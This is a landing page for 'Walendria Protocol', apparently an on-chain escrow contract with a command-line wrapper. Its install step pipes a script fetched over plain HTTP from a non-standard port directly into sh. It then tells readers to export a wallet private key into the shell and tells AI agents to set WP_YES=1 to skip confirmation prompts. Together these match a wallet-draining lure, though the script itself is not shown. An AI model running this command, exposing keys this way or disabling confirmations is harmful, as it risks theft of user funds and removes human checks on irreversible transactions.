WP

Walendria Protocol

A minimal on-chain escrow table: the buyer funds, then releases to the seller or burns.

Formerly called Meridian Protocol / MP. New public name: Walendria Protocol / WP.

1. What is this?

Walendria Protocol is not a court. It is not a refund desk. It is not an auditor.

It is a table with one seller and one buyer/controller.

The buyer funds the table. The seller cannot withdraw early.

The buyer can release to the seller or burn to the dead wallet.

Release if satisfied. Burn if not.

Important: burn is not a refund. WP intentionally removes the buyer refund button because refund buttons are also fraud tools.

2. Protocol vs Application — know the difference

WP is a base layer. It is a smart contract on Base that manages escrow tables. It does not have a dashboard, a web form, or an easy button. It is code.

Applications are built on top of the protocol to make it easier to use — they can add interfaces, wallets, token selectors, AI agents, or chat-based flows. Applications may have opinions about UX; the protocol does not.

The Protocol (WP)

  • A smart contract on Base mainnet
  • Stores escrow table state on-chain
  • Enforces: fixed seller, fixed buyer, release or burn
  • Does not care about UI, language, or user type
  • Cannot be changed without a redeployment
  • Source-verified and public

Applications (built on WP)

  • A CLI tool that parses and formats commands
  • A web dashboard for human buyers and sellers
  • An AI agent that executes tables autonomously
  • A chat bot that walks you through funding
  • Any custom integration that calls the contract
  • Can be built by anyone, upgraded independently
The CLI shown below is an application — a live Base command-line wrapper for the WP V3 contract. Read-only checks work without a key. Transactions require a signer, RPC, gas, and confirmation.

3. Who can use WP?

WP is not only for AI agents.

The original vision involves AI agents that transact autonomously — an agent can fund a table, check state, and release without a human clicking anything. That is powerful.

But the game theory works equally well for two humans making a deal. If you are a freelancer, a buyer, or anyone doing an internet transaction with a stranger, the escrow logic applies the same way.

The protocol does not distinguish between a human wallet and an AI agent wallet. It only asks: did the buyer/controller release or burn?

Human use case

A buyer and seller agree on a deal in a chat. Buyer creates a WP table, funds it with USDC. Seller sees the funds are locked. Seller delivers. Buyer releases. Seller withdraws.

AI agent use case

An AI agent is instructed to pay for a service. It creates a table, funds it, and releases after verifying the deliverable — without a human clicking anything at each step.

4. How to use it

Install the small WP live CLI. It can read the WP V3 contract and send Base transactions when you provide a signer.

curl -fsSL http://app.walendria.org:22054/wpinstall.sh | sh

Then use these shapes. First set a hot-wallet signer in your shell. The signer pays gas and signs actions. WP_YES=1 is for AI agents/scripts that cannot type the confirmation prompt. Do not use a valuable wallet key.

# One-time shell setup for this terminal session export WP_PRIVATE_KEY=0xYOUR_HOT_WALLET_PRIVATE_KEY # Optional for AI agents / scripts: skip interactive YES prompts export WP_YES=1 # Create a table (lock in seller and buyer before any money moves) wp 0xSELLER 0xBUYER --timelock 1h # Mandatory immutable auto-release timelock wp 0xSELLER 0xBUYER --timelock 1h # Check table state (read-only; no key needed) wp 0xCONTRACT:42 # Check public timelock (read-only; no key needed) wp 0xCONTRACT:42 timelock # Timelock is fixed at creation; this is read-only wp 0xCONTRACT:42 timelock # Anyone with gas can claim auto-release after expiry wp 0xCONTRACT:42 auto-release # Fund with ETH wp 0xCONTRACT:42 +0.05:ETH # Fund with USDC (CLI approves if needed, then funds) wp 0xCONTRACT:42 +26:USDC # Fund with any ERC20 by contract address wp 0xCONTRACT:42 +100:0xTOKEN_ADDRESS # Buyer releases — moves all assets to seller-withdrawable wp 0xCONTRACT:42 release # Buyer burns — sends all assets to dead wallet (destructive, not a refund) wp 0xCONTRACT:42 burn # Seller withdraws ETH after release wp 0xCONTRACT:42 -0.05:ETH # Seller withdraws USDC after release wp 0xCONTRACT:42 -26:USDC
About token specification: A WP table is asset-agnostic. A single table can hold ETH and multiple ERC20 tokens at the same time. This is why every fund and withdraw command requires you to name the token. +26:USDC means "fund 26 USDC." -0.05:ETH means "withdraw 0.05 ETH." Release and burn always affect all assets in the table at once.
Supported tokens on Base (examples):
ETH USDC USDT DAI 0xANY_ERC20_ADDRESS
For ERC20 tokens, the buyer must approve the WP contract to spend tokens before calling fund. Applications can do this automatically.
This public CLI is live. It reads Base mainnet through RPC and sends transactions when a signer is provided. Treat private keys as hot-wallet keys only; never paste valuable production keys into an untrusted terminal. ERC20 funding checks allowance, approves the WP contract if needed, then funds.
Createwp seller buyer

Creates a table. Uses WP_PRIVATE_KEY from your shell for gas/signing.

Checkwp contract:tableid

Shows table state: seller, buyer/controller, balances per asset, state, withdrawable amounts.

Fundwp table +amount:TOKEN

Adds funds from the WP_PRIVATE_KEY signer. TOKEN is ETH, USDC, or a contract address.

Releasewp table release

Buyer/controller signer releases all assets to seller-withdrawable.

Burnwp table burn

Buyer/controller signer sends all assets to dead wallet. Destructive settlement, not a refund.

Withdrawwp table -amount:TOKEN

Seller signer pulls a specific asset after release. Specify which token to withdraw.

5. Why the game theory works

WP reduces trust friction by removing profitable shortcuts. Seller cannot steal early. Buyer cannot get work and refund himself. The buyer's only final buttons are release or burn.

The buyer cannot profit from cheating.

Traditional refunds feel fair, but they also arm dishonest buyers. A buyer can receive work, complain, and claw money back. WP removes that profit path. If the buyer refuses to pay, the buyer must burn too.

Technical flow: the buyer/controller calls release(tableId) to allocate balances to seller and fee wallet, or calls burn(tableId)/dispute(tableId) to send table assets to the dead wallet.

The seller cannot self-release.

The seller is receiver, not judge. A receiver should not approve their own payment. The seller waits, then withdraws only after release.

Technical flow: release requires the fixed buyer/controller. Seller withdrawal is a separate pull-payment step after release.

Random money should not control the table.

The buyer/controller is fixed at creation. A seller or stranger should not be able to dust a table and steal control. Fixed authority prevents "largest funder wins" and "first funder wins" attacks.

Technical flow: preferred doctrine rejects largest-funder and first-funder controller designs. The table authority comes from creation, not later deposits.

Timelock is mandatory, immutable, and visible.

Old WP doctrine avoided hidden automatic settlement. This redeploy keeps that caution, but adds explicit mandatory immutable timelock: every table is created with a public future timestamp, and anyone can claim auto-release after it expires. The timestamp cannot be moved or disabled after creation.

Technical flow: getTimeLock(tableId) is public/read-only. Creation calls createTable(seller, buyer, autoReleaseTime). After expiry, any wallet can call claimTimeLockRelease(tableId)/claimTimeout(tableId); there is no hidden keeper.

The protocol stays small on purpose.

6. V3 live doctrine

Current WP V3 tables are asset-agnostic at creation. A buyer can fund the same table with native Base ETH and/or ERC20 tokens. Each asset is tracked separately.

Native Base ETHmarker: 0x000...000

Native asset marker inside the accounting model. Use +amount:ETH in CLI grammar.

ERC20 tokensfundToken(tableId, token, amount)

Buyer approves the WP contract first, then funds in raw token units. Use +amount:TOKEN.

USDC on Base1 USDC = 1 (use "26:USDC")

Applications handle decimal conversion. The protocol stores raw units. A good app shows human-readable amounts.

Fee modelcurrent fee: 0%; owner-capped max: 1%

Current release fee is 0 bps. The owner can update it, but the contract hard-caps protocol fee at 100 bps / 1%.

Owner recovery is surplus-only: accidental unaccounted deposits can be rescued, but properly accounted escrow funds are not owner-rescuable.

7. Live contract references

Always verify chain state before using real money. These are public references, not a promise that every wrapper/CLI has caught up.

Network: Base mainnet WP V3 contract: 0xACA2c8EB39A0999C6e6AEAB72F65623266007eB3 Deployment tx: 0xfbc73841dee359b2aa66598d412a29a1b5b05d97458d78a880f41c962f7ff39b Owner/deployer: 0x9e25e02Cc41c07d7136B50550ea80C48b01E33e2 Fee wallet: 0x9f87Eae58dDB89281FDF794CD3Bd13D3e2457a99 Dead wallet: 0x000000000000000000000000000000000000dEaD

Open WP V3 on BaseScan

Open Sourcify full-match verification

8. What WP is not

WP is not an auditor.

WP is not a judge.

WP is not a refund service.

WP is not legal protection.

WP is not scam-proof.

WP is not a guarantee of delivery.

WP is not a guarantee of fairness.

WP is not a hidden buyer clawback.

WP asks one hard question: did the buyer/controller release or burn?

9. Operations

Create a table with one seller and one buyer/controller.
Check the table state from the contract, not screenshots.
Fund from the buyer wallet. Specify the token. Approve ERC20 first if using tokens.
Release if satisfied. Seller and fee wallet withdraw per asset after release.
Burn if the deal becomes poison. Burn is destructive, not a refund.
Never publish private keys. Never claim funds moved without checking receipt and state.

10. Begin with one clean table.

One seller. One buyer. One public vault. One final choice.

Release if satisfied. Burn if not.

Create the first table